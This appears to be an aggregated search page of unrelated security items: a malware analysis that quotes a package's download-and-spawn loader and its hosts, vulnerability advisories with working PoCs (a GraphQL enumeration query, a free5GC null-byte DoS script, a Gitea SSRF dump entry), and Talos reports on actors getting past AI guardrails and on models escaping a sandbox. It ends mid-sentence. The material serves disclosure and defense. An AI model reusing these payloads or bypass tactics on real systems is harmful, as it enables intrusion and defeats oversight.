Search: discovery.com

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b5b91edd276d95174766d639bab6981de8e07b4261e57668fc61f8e7dd96cc1e) On require of the package, `index.js` loads `_polyfill.js` whose top-level `bootstrap()` fetches an opaque platform-specific binary over HTTPS from string-fragment-assembled hosts (reconstructing `oob-worker.cf101-adf.workers.dev` and `sdk.dl.wel1.ru`, with a DNS-TXT fallback for endpoint discovery), writes it to `/var/tmp` or `%TEMP%` under disguised names such as `dotnet_diag_<hex>.exe` and `.cache_<hex>`, chmods it 755, and spawns it detached via `cp.spawn("/bin/sh", ["-c", fp+" &"], {detached:true}).unref()` (with a `cmd` branch on Windows). The download hostnames are assembled at runtime from split string arrays to evade static analysis. A second bundled module, `lib/telemetry.js`, implements the same fetch-write-chmod-spawn pattern using base64 buffer assembly and `fs["chmod"+"Sync"](..., 0o755)`. There is no version pin, no hash or signature verification, and the endpoint is not a first-party publisher domain. Installing or importing this package auto-executes attacker-controlled native code on the host. ## Source: ghsa-malware (dcb6256c0a6b54da5f083f0ebe7609d6b1d6b4a7b517c6008486e9050583d8bf) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CVE-2026-25289 is a critical stack-based buffer overflow vulnerability in Qualcomm Snapdragon products. It occurs due to memory corruption when processing Device Capability Extended attributes in certain NAN Service Discovery Frames with invalid length values. The flaw can lead to complete compromise of confidentiality, integrity, and availability without requiring user interaction.

Actor usage of AI is exploding. By analyzing artifacts left behind, Talos has created a detailed analysis of how we are seeing adversaries leverage the technology to include development, force multiplication, and vulnerability research. Based on the evidence Talos gathered, guardrails did not provide much protection, with most actors able to convince the models to comply despite the lack of sophisticated techniques or encoding. The pre-existing skill of the actor has a large impact on what they can accomplish with AI. Talos observed novice users able to create malicious capabilities, albeit with limited capabilities and success. Advanced users were able to build astonishing capabilities, pushing the models to create sophisticated and complex outputs. Artificial intelligence (AI) and associated language models are now ubiquitous and heavily used in both personal and professional contexts to streamline tasks and expand capabilities. With AI being used everywhere and by almost everyone, one of the biggest questions is how malicious actors are taking advantage. Fortunately, actors make mistakes and chatbots leave artifacts. Leveraging cloud-based AI models leaves behind a variety of artifacts, most notably a prompt log. These logs can take on a variety of shapes and sizes, but they are left on endpoints that are running various applications, such as Claude Code, CodeX, Cursor, or Gemini. Over the course of our research, we’ve collected a significant corpus of these files and can start discussing the ways we see bad actors leveraging these technologies. In conducting the research, three categories of activity emerged. One was using AI as a malicious software engineer, leveraging AI to write (in some cases) very sophisticated code with clear malicious intentions. Another was actors leveraging AI to scale criminal operations and campaigns. Finally, there were a lot of actors leveraging it for bug bounty or vulnerability research, rapidly accelerating their capabilities of discovery and disclosure. Each category demonstrates how threat actors are currently leveraging AI. Within each category is a wide disparity in sophistication based on the knowledge level of the actors involved. We tried to include use cases to cover the breadth of what we found. Takeaways and high-level findings With the recent disclosures from Hugging Face and OpenAI , it's clear the era of agentic attackers has effectively arrived. In that incident, the models were operating inside a sanctioned evaluation with safeguards deliberately relaxed — but they autonomously escaped their sandbox, found and chained real vulnerabilities, and compromised production infrastructure to reach their objective. The capabilities exist; the only missing ingredient is malicious intent, and it's a matter of time before threat actors supply it. For defenders, this is a wake-up call: Vulnerabilities will surface faster, exploitation will happen sooner, and the actors behind it won't need rest or downtime. As the case studies below show, the central challenge for guardrails right now is supporting legitimate dual-use work — red teaming and vulnerability research — without empowering malicious actors. One of the immediate takeaways is that guardrails are not functioning as expected. We did not encounter any sophisticated encoding or techniques designed to trick the models — most of the time it was a simple “I'm allowed to do this,” and the model complied. When guardrails did engage, they accomplished little. In one instance, we watched an actor abandon a censored model and pivot to an uncensored version, which completed the task without question. In another, a model pushed back on a distributed denial-of-service (DDoS) operator, but by that point the tooling had already been built. This wasn't specific to a single model or platform; it was across the board. The other big takeaway is that an actor's skill level largely determines how effectively AI can be leveraged and how much impact it u…

## Summary The `sendPasswordResetEmail` mutation in WPGraphQL is explicitly designed to prevent user enumeration. The resolver in `src/Mutation/SendPasswordResetEmail.php` states in a code comment: `// We obsfucate the actual success of this mutation to prevent user enumeration.` The mutation always returns `success: true` regardless of whether the supplied username/email belongs to an existing user. The intended public output field is only `success: Boolean`. However, a deprecated `user` field is still registered on the `SendPasswordResetEmailPayload` output type in `src/Deprecated.php` (lines 433-450). This deprecated field resolves to a full `User` object when the supplied username/email corresponds to an existing author-class user, and `null` otherwise — completely undermining the anti-enumeration design. The `@todo remove in 3.0.0` comment acknowledges the field is scheduled for removal, but it remains active in all 2.x releases, including current 2.14.1. Discovered via source code review on May 29, 2026. ## Details The mutation resolver in `src/Mutation/SendPasswordResetEmail.php`: ```php $payload = ['success' => true, 'id' => null]; $user_data = self::get_user_data($input['username']); if (!$user_data) { graphql_debug(...); return $payload; // id stays null } // ...send email, then... return ['id' => $user_data->ID, 'success' => true]; ``` The intended public output field is only `success`. The `id` is internal-only state for downstream resolvers. `src/Deprecated.php` registers an additional `user` field on the same payload type: ```php register_graphql_field( 'SendPasswordResetEmailPayload', 'user', [ 'type' => 'User', 'deprecationReason' => static function () { return __('This field will be removed...'); }, 'resolve' => static function ($payload, $args, AppContext $context) { return !empty($payload['id']) ? $context->get_loader('user')->load_deferred($payload['id']) : null; }, ], ); ``` This field reads the internal `$payload['id']` and resolves it through the standard user loader. The User Model's `allowed_restricted_fields` policy permits unauthenticated reads of public author fields (`databaseId`, `name`, `firstName`, `lastName`, `slug`, `description`, `uri`, `url`). ## PoC ```graphql mutation EnumerateUser { sendPasswordResetEmail(input: { username: "victim@example.com" }) { success user { databaseId name firstName lastName slug description uri } } } ``` Behavior: - Non-existing user/email → `data.sendPasswordResetEmail.user` is `null` - - Existing author-class user → `data.sendPasswordResetEmail.user` is a full User object with the listed fields populated - - `success` always returns `true`, preserving the appearance of obfuscation — the deprecated `user` field is the leak ## Impact 1. **Username/email enumeration:** unauthenticated attacker can verify whether any username or email is registered, with no WPGraphQL-side rate limiting 2. 2. **Profile disclosure for author-class users:** for any user with published posts (including editors and administrators), the attacker obtains `databaseId`, `name`, `firstName`, `lastName`, `slug`, `description` (user bio), `uri` — substantially more than mere existence 3. 3. **Bypasses partial hardening:** sites that disabled the REST API user endpoint, the user XML sitemap, and `?author=N` author redirects may still be vulnerable through this WPGraphQL path 4. 4. **Spearphishing setup:** firstName/lastName/description for authors provides personalized phishing material ## Recommended fix Either remove the deprecated `user` field entirely (advance the existing `@todo remove in 3.0.0`) or change the resolver to always return `null`: ```diff 'resolve' => static function ($payload, $args, AppContext $context) { - return !empty($payload['id']) ? $context->get_loader('user')->load_deferred($payload['id']) : null; - + // Always null — this deprecated field previously leaked user existence, - + // undermining the anti-enumeration design of the sendPasswordResetEmail mutation. - + return null; - }, - ``` Defense in depth — change the mutation resolver itself to not populate `$payload['id']` on real success: ```diff return [ - 'id' => $user_data->ID, - + 'id' => null, - 'success' => true, - ]; - ``` Luke Granto — independent security researcher operating in good faith. Discovery via source code review of wp-graphql/wp-graphql v2.14.1, approximately 15 minutes from `git clone` to confirmed bug. No live exploitation against any third-party deployment.

### Summary The free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation). --- ### Details The vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field: ```json {"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"} ``` The AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value: ``` GET /nudm-ueau/v1/{supiOrSuci}/security-information/... ``` When `supiOrSuci` contains null bytes (`\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body: ``` {"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}} ``` The AUSF container log shows: `net/url: invalid control character in URL`. **Attack chain:** ``` 1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...} 2. AUSF: JSON parsed OK (null bytes valid in JSON strings) 3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/... 4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986) 5. AUSF ← UDM: error 6. Attacker ← AUSF: HTTP 500 {"message": "System failure"} ``` **Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective. **Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing: | Strategy | Requests | HTTP 500s | Trigger Rate | |----------|----------|-----------|-------------| | `special_chars` | 98,304 | 4,021 | 4.1% | | `seed_replay` | 132,428 | 7,947 | 6.0% | | `grammar_aware` | 30,944 | 683 | 2.2% | 100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint. ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```python #!/usr/bin/env python3 import http.client, json AUSF_HOST = "127.0.0.1" # Replace with AUSF IP (e.g. 172.24.0.50) AUSF_PORT = 8000 # Bug: null bytes in supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn.request("POST", "/nausf-auth/v1/ue-authentications", body=body_bug, headers={"Content-Type": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Returns 500 # Contrast: normal SUCI → 404 (expected, UE not found) body_normal = json.dumps({ "supiOrSuci": "imsi-208930000000031", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn2.request("POST", "/nausf-auth/v1/ue-authentications", body=body_normal, headers={"Content-Type": "application/json"}) resp2 = conn2.getresponse() print(f"Normal: Status {resp2.status}") # Returns 404 ``` **Run:** `python3 reproduce.py` **Expected fix (input validation + URL escaping):** ```go import "regexp" import "net/url" var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`) func validateSUCI(supiOrSuci string) error { if strings.ContainsFunc(supiOrSuci, func(r rune) bool { return r < 0x20 || r > 0x7e }) { return fmt.Errorf("SUCI contains illegal characters") } return nil } // URL-escape before constructing UDM request udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...", udmAddr, url.PathEscape(supiOrSuci)) ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required (unauthenticated SBI endpoint) | | **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack | | **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting | | **Affected version** | free5GC v4.2.2 (latest) | | **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` | **Environment:

Zephyr's IPv6 forwarding path re-sent routed unicast packets without ever decrementing the IPv6 hop limit. Both routing branches of ipv6_route_packet() (subsys/net/ip) were affected: the explicit-route path (net_route_packet()) and the on-link cross-interface path (net_route_packet_if()). Each set the packet forwarding flag and called net_send_data() with the hop limit untouched and no expiry check. Per RFC 8200 the hop-limit decrement is the mechanism that bounds packet lifetime and terminates routing loops; without it, a device acting as an IPv6 router relays looping packets indefinitely. An on-path attacker who can induce or exploit a transient L3 loop turns it into a permanent forwarding storm, causing CPU/bandwidth resource exhaustion (availability DoS) on the forwarder and adjacent links; path-discovery and loop diagnostics that rely on hop-limit expiry are also defeated. Affected configurations. In every affected release the forwarding path is reached via CONFIG_NET_ROUTE (enabled by default when CONFIG_NET_IPV6_NBR_CACHE is set), together with CONFIG_NET_ROUTING for cross-interface routing. Note that CONFIG_NET_IPV6_FORWARDING and CONFIG_NET_IPV4_FORWARDING — which appear in the fix and in this advisory's evidence notes — were introduced after v4.4.0, when the routing options were split and renamed; they do not exist in any affected release. When auditing a v4.4.1-or-earlier configuration, look for CONFIG_NET_ROUTE and CONFIG_NET_ROUTING. IPv4 is not affected in any release. The IPv4 forwarding path (net_route_ipv4_packet() in route_ipv4.c) was added after v4.4.0 and has never shipped in a release. Its TTL decrement and IPv4 header-checksum recomputation landed on main as part of the same fix, so the evidence notes below discuss it, but no released version is reachable by way of IPv4. Affected releases are v1.8.0 through v4.4.1: v1.8.0 introduced net_route_packet() and v2.2.0 added net_route_packet_if(), and neither decremented the hop limit. v4.3.1 carries the explicit-route fix but not the on-link one, so it is affected as well. Fixed on main by 7d8f1afa7345 (explicit-route path) and 589eadc74efa (on-link path).

Canada’s new Critical Cyber Systems Protection Act (Bill C-8) introduces a strict 72-hour cyber incident reporting mandate. Find out how Tenable is helping critical national infrastructure operators bridge the IT/OT divide to ensure full compliance. Key takeaways: Bill C-8 introduces stringent new cyber incident reporting requirements and heavy financial penalties for critical infrastructure operators. Eliminating network blind spots with a hybrid IT/OT discovery approach, including Safe Active Querying for isolated, hard-to-reach process-control systems, enables operators to establish a required security baseline. Predictive Vulnerability Priority Rating (VPR) scoring helps you prioritize and focus limited resources on the critical flaws that actually threaten physical safety and uptime. Advanced multi-detection engines and seamless IT workflow integrations accelerate mean-time-to-respond (MTTR) to help both security teams and operators align with a strict 72-hour reporting requirement. With the enactment of Canada’s Critical Cyber Systems Protection Act (CCSPA), commonly known as Bill C-8, the Canadian federal government is laying down a clear framework to protect the cyber-physical systems that are vital to national critical infrastructure security. For designated operators in telecommunications, energy, transportation, and banking, the mandate is clear: Establish formalized cybersecurity programs, mitigate supply chain risks, and — most critically — report cyber incidents to authorities within 72 hours. Failure to comply carries heavy consequences, including penalties that can reach up to $15 million Canadian dollars (CAD). But beyond the threat of fines, Bill C-8 highlights a fundamental operational challenge that many industrial organizations are still struggling to solve: How can you detect, investigate, and report a breach in 72 hours when you lack unified visibility across your converged IT and OT environments? Requirements for meeting Bill C-8's 72-hour incident reporting mandate In modern industrial operations and critical infrastructure, the line between IT and OT continues to blur. The introduction of connectivity (e.g., IoT-connected cameras and building management systems) has optimized processes and service delivery, but it has also introduced new cyber exposures. Today, threat actors do not honor traditional network silos; they frequently compromise a web-facing IT asset or IoT device and move laterally into the operational technology (OT) environment to disrupt physical processes. Meeting a 72-hour incident reporting window is nearly impossible if your security team is relying on fragmented point solutions. Solutions that focus exclusively on passive OT network monitoring often leave massive blind spots — especially considering that IT and IoT devices can constitute up to 50% of an industrial environment. When an incident occurs, teams waste precious hours manually correlating alerts across disconnected tools rather than actively investigating the root cause. To comply with CCSPA and protect uptime, critical national infrastructure (CNI) operators must bridge the IT/OT security divide. Establish your CCSPA cybersecurity baseline The CCSPA requires operators to implement formalized cybersecurity programs. The foundation of any mature security program is a comprehensive asset inventory — you cannot secure what you cannot see. The Tenable One Exposure Management Platform helps organizations eliminate security blind spots by building a complete, unified inventory of all OT, IoT, and IT assets. Tenable goes beyond passive-only network monitoring with our proprietary Safe Active Query technology. This hybrid approach safely communicates with industrial devices in their native protocols to uncover significantly more assets than passive monitoring alone — including dormant process control systems, shadow IT, and unmanaged IoT — without disrupting process integrity or impacting equipment uptime. Prioritize what matter…

Vulnerability#local#webCanada

Shadow AI agents are proliferating within enterprise environments without the knowledge or oversight of IT and security teams. These autonomous AI entities can operate with unmanaged permissions, potentially leading to security risks if left unchecked. Organizations need to implement discovery, assessment, and governance strategies to manage these AI agents effectively and mitigate associated risks.

NEO-Radar v1.11 is an open-source network scanning tool designed to simplify host discovery and port scanning for users with limited networking knowledge. It automates basic scanning tasks commonly performed by tools like Nmap. The program supports Linux, Termux (Android), and has a Windows PowerShell version. There is no indication of inherent security vulnerabilities or exploits associated with this software in the provided information.

In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: validate reply message payload bounds against transfer length nvmet_auth_reply() accesses the variable-length rval[] array using attacker-controlled hl (hash length) and dhvlen (DH value length) fields without verifying they fit within the allocated buffer of tl bytes. A malicious NVMe-oF initiator can craft a DHCHAP_REPLY message with a small transfer length but large hl/dhvlen values, causing out-of-bounds heap reads when the target processes the DH public key (rval + 2*hl) or performs the host response memcmp. With DH authentication configured, the OOB pointer is passed directly to sg_init_one() and read by crypto_kpp_compute_shared_secret(), reaching up to 526 bytes past the buffer. This is exploitable pre-authentication. Add bounds validation ensuring sizeof(*data) + 2*hl + dhvlen <= tl before any access to the variable-length fields. Discovered by Atuin - Automated Vulnerability Discovery Engine.

This article details the discovery of multiple zero-day vulnerabilities in Redis by an AI agent named Kimi K3, leading to emergency patches across several Redis versions. It provides technical insights into the vulnerabilities, their exploitation, and practical patching guidance for defenders. The report also discusses the implications of AI-assisted vulnerability discovery on security timelines.

In Eclipse BaSyx Go Components versions up to and including 1.0.0, ABAC-enabled deployments are vulnerable to an authorization bypass caused by inconsistent trailing-slash handling between the ABAC middleware and the HTTP router. The shared router configuration used Chi's `middleware.StripSlashes`, so a request such as `GET /shells/` was dispatched to the registered `GET /shells` route. However, the ABAC middleware evaluated the original request path including the trailing slash. If ABAC route lookup did not find a matching slash-suffixed route, the request was passed onward and the router then stripped the slash and executed the protected handler without the intended ABAC authorization decision and without the expected ABAC query filters. An unauthenticated or unauthorized network attacker could append a trailing slash to protected API routes to reach handlers that should have been denied by ABAC policy. Depending on the exposed component, HTTP method, and deployed policy, this could allow unauthorized read, create, update, delete, or upload operations. The issue affects ABAC-enabled deployments of services that use the shared router and ABAC middleware, including AAS Repository, Submodel Repository, AAS Registry, Submodel Registry, Concept Description Repository, Discovery, AAS Environment upload, and related services. The issue is fixed in Eclipse BaSyx Go Components v1.0.1.

Welcome to this week’s edition of the Threat Source newsletter. Lately I've found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) — not because I'm a hitman for hire, but because I literally feel in-between. Specifically, in-between what I'd call the "pre-Mythos" and “post-Mythos” eras. We've crossed a capability threshold, and it's not just one model family driving that — Codex 5.3 and GPT-5.5 deliver comparable or better performance , and Tulongfeng or GLM-5.2 (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn't limited to closed models anymore. On the other side of that line, real-world impact hasn't caught up yet and we're living in an artificial buffer zone. For me, defining the “pre-” and “post-” status comes down to the gap between "vulnerability discovery" and "vulnerability publication." Last week’s Patch Tuesday gave a signal of change, as Joe pointed out , so maybe the buffer zone has come to an end. Let's dive into the 2026 Q2 stats. As in past years, we're seeing a steeper curve than the year before — a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day. Using the keyword methodology described here , I found 452 AI-related CVEs this calendar year. If "openclaw" is added to the keyword list, that number jumps by another 536 — a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I'm reconsidering whether to keep publishing this particular metric going forward. KEVs, by contrast, "only" grew 13% — a small April spike aside, it's fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) — consistent with the trend I flagged last quarters. As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we're tracking. More strikingly, even though the standard enterprise patch cycle is described to run 30–90 days, 181 days into 2026, 46% of today's actively-exploited (KEV) CVEs still trace back to 2025 or earlier. Old vulnerabilities don't retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back — once again — to EPSS as a tool for prioritizing patching against this dataset. If you patched purely by CVSS 9+, you'd be urgently chasing ~3,700 CVEs — but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny. Of the 32 CVSS 9+ CVEs with EPSS ≥ 50%, 25 are already on CISA's KEV list. The remaining seven outliers are still high-probability by EPSS but haven't made KEV yet — worth watching. Ray Shoesmith (Mr. Inbetween) once told his therapist, "You know, if I hit somebody, I generally got a pretty good reason." Same principle applies to patching. Don't swing at everything — swing at what you have good reason to believe is coming for you. The one big thing Cisco Talos has discovered "msaRAT," a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment. Why do I care? This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker's ability to establish persistence and deploy doubl…

We’re looking forward to having some great conversations with those of you heading to the desert for Hacker Summer Camp 2026. We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence. Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That’s fine, too. Here’s some of the ways we’ll be showing up at Black Hat, alongside our friends at Cisco and Splunk: Meet the researchers: Booth lightning talks Our Talosians have spent a lot of time over the last few months putting together some truly... well, enlightening lightning talks. Throughout Wednesday and Thursday at Black Hat, you can expect to see such topics as: Threat actor prompting and the emerging ways adversaries are using prompts, agents, skills, and tools to improve efficiency Warlock ransomware, and why this group does not fit neatly into a simple RaaS or state-linked label. Zero trust for agent identity Building a "second brain" for your second brain Predicting cybersecurity fraud Vulnerability discovery trends ... and much more Lightning talks are 15 minutes. That’s less than 9% of The Odyssey. Don’t worry, we cut the bit where everyone gets turned into Snorty pigs. Talos workshop: When AI finds vulnerabilities faster than humans can patch Date/Time: Wednesday, August 5 | 1:30 p.m. – 3:00 p.m. (Oceanside E, Level 2) If you're looking for something hands-on and interactive, don't miss our workshop with Talos’ Nick Biasini and Cisco’s Omar Santos . In two parts, they’ll demonstrate practical ways security teams can incorporate AI into SOC workflows to identify sophisticated adversary behavior. In Part 1, Omar will discuss the Foundry Security Spec. He’ll walk through how to deploy, build testing harnesses around its core agent roles, and integrate Project CodeGuard so that findings from autonomous testing can be converted into reusable secure-coding rules and future prevention. In Part 2, Nick will demonstrate how Talos leverages AI to transform threat hunting. We will explore best practices for identifying adversarial AI tactics and provide attendees with insights into how Cisco Talos is leveraging AI for defense. Participants will learn how to integrate these defensive AI strategies into their own SOC workflows. Splunk workshop: When agents become insider threats Date/Time: Wednesday, August 5 | 10:15 a.m. – 11:00 a.m. (Mandalay Bay I) The Splunk workshop considers the fact that the next insider threat may not be a person; it may be an autonomous agent using valid credentials and delegated authority. Attendees will see real-world attack paths in which agents move sensitive data across tools, distribute brute-force attempts under a single delegation, and manipulate internal systems without triggering traditional SIEM or UEBA alerts. It was Talos all along One of the questions we hear often is: "How do I buy Talos?" The answer… is that you probably already did. Throughout the Cisco booth you'll see our “ It was Talos all along” campaign, highlighting the fact that Talos isn't a standalone product or a threat intelligence feed you bolt onto your security stack. Talos is already embedded across the Cisco security portfolio, which continually benefits from our threat research and intelligence. To build your curiosity, take a look at our new video, “Where Protection Starts,” to see how Cisco Talos Intelligence Integrations help reduce uncertainty in the SOC: See you in Las Vegas.

Vulnerability in the PeopleSoft In-Memory Project Discovery product of Oracle PeopleSoft (component: Project Discovery). The supported version that is affected is 9.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft In-Memory Project Discovery. While the vulnerability is in PeopleSoft In-Memory Project Discovery, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of PeopleSoft In-Memory Project Discovery. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Discovery Framework). Supported versions that are affected are 13.5 and 24.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Enterprise Manager Base Platform accessible data as well as unauthorized read access to a subset of Oracle Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L).

### Summary Gitea's `restore-repo` CLI command restores a repository from a dump directory/archive. When parsing `pull_request.yml` from that dump, the `Head.CloneURL` field is used to add a git remote and fetch from it with no validation, because the safety check that's supposed to guard it (`CheckAndEnsureSafePR`) is called with an empty `commonCloneBaseURL`, which silently disables it. This lets a malicious dump make the Gitea server execute `git fetch` against an attacker-chosen URL (SSRF), or disclose a local git repository via `file://`. This is a different root cause from the recently fixed path-traversal issue in the same command (#38215), which patched `DownloadURL`/`PatchURL` but not `Head.CloneURL`. ### Details `services/migrations/restore.go`'s `GetPullRequests()` unmarshals `pull_request.yml` directly into `base.PullRequest` structs with no validation of `Head.CloneURL`: ```go err = yaml.Unmarshal(bs, &pulls) ... for _, pr := range pulls { if pr.PatchURL != "" { pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL) } CheckAndEnsureSafePR(pr, "", r) // <-- empty baseURL } ``` `CheckAndEnsureSafePR` (`services/migrations/common.go`) is supposed to reject `Head.CloneURL`/`PatchURL` values that don't share a common base URL: ```go func hasBaseURL(toCheck, baseURL string) bool { if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' { baseURL += "/" } return strings.HasPrefix(toCheck, baseURL) } func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool { valid := true if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) { pr.PatchURL = "" valid = false } if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) { pr.Head.CloneURL = "" valid = false } return valid } ``` `strings.HasPrefix(anything, "")` is always `true` in Go. Because `restore.go` is the only caller that passes `""` as `commonCloneBaseURL`, this check is a complete no-op on the restore-repo path — `Head.CloneURL` survives unchanged regardless of its value. Every other downloader (`github.go`, `gitlab.go`, `gitea_downloader.go`, `codebase.go`, `codecommit.go`, `onedev.go`) passes a real base URL, so they are not affected. `services/migrations/gitea_uploader.go` then uses the unvalidated value directly: ```go err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true) // ... later: fetch from that remote ``` resulting in the server executing `git fetch` against an attacker-controlled URL sourced from the dump file. **RCE via git's `ext::` transport helper was tested and ruled out** — a normal `git` install rejects it by default (`fatal: transport 'ext' not allowed`), independent of Gitea's own configuration. This report is scoped to SSRF and local git-repository disclosure. Confirmed present, byte-for-byte identical, in `v1.26.4` (latest stable tag), `release/v1.27`, and `main`, by direct checkout and diff. ### PoC 1. Create a dump directory following the normal `restore-repo` layout (`repo.yml`, etc.), and add a `pull_request.yml` containing at least one entry with: ```yaml - number: 1 head: cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof" ref: "main" ``` 2. Run `gitea restore-repo` against that dump directory for any repo owner. 3. Observe on the target host/listener: an actual `git` HTTP discovery request arrives, e.g. `GET /ssrf-proof/info/refs?service=git-upload-pack`, driven entirely by the value from the dump file. Verified the core mechanism (steps 2–3, i.e. the unvalidated `Head.CloneURL` surviving `CheckAndEnsureSafePR("")` and then being used in a real `git remote add` + `git fetch`) with a minimal, standalone Go program built from the **verbatim, unmodified** `hasBaseURL` / `CheckAndEnsureSafePR` function bodies (attached: `gitea_ssrf_poc.go`), run end-to-end against a local HTTP listener. The listener's access log confirms the request actually arrives. ### Impact An attacker who can get an administrator to run `gitea restore-repo` against a malicious dump (the same threat model already accepted for the just-fixed path-traversal issue in this command, #38215) can make the Gitea server issue a `git fetch` against an arbitrary attacker-chosen URL. This allows: - SSRF against internal-only services or cloud metadata endpoints reachable from the Gitea host. - Disclosure of local git repositories reachable via `file://` paths readable by the Gitea process. No public disclosure planned. Happy to provide further detail on request.

### Summary When `[oauth2_client] UPDATE_AVATAR = true` is enabled, Gitea fetches the avatar URL received from an OAuth2/OIDC provider using Go's default HTTP client. The URL comes from the user's OAuth/OIDC avatar value, commonly the OIDC `picture` claim. The affected code path calls `http.Get(url)` without applying outbound host or IP restrictions. A low-privileged user who can influence their own `picture` claim under an already-configured OAuth2/OIDC source can cause the Gitea server to make arbitrary outbound HTTP GET requests. This includes requests to loopback addresses, RFC 1918 private network addresses, and IPv4 link-local addresses such as `169.254.169.254`. This is a blind SSRF by default. Impact can increase in deployments where the Gitea host can reach cloud metadata services, localhost-only services, or internal services that return valid image data. ### Details The vulnerable sink is in `routers/web/auth/oauth.go`: ```go func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) { if setting.OAuth2Client.UpdateAvatar && len(url) > 0 { resp, err := http.Get(url) if err == nil { defer func() { _ = resp.Body.Close() }() } if err == nil && resp.StatusCode == http.StatusOK { data, err := io.ReadAll(io.LimitReader(resp.Body, setting.Avatar.MaxFileSize+1)) if err == nil && int64(len(data)) <= setting.Avatar.MaxFileSize { _ = user_service.UploadAvatar(ctx, u, data) } } } } ``` The caller is in 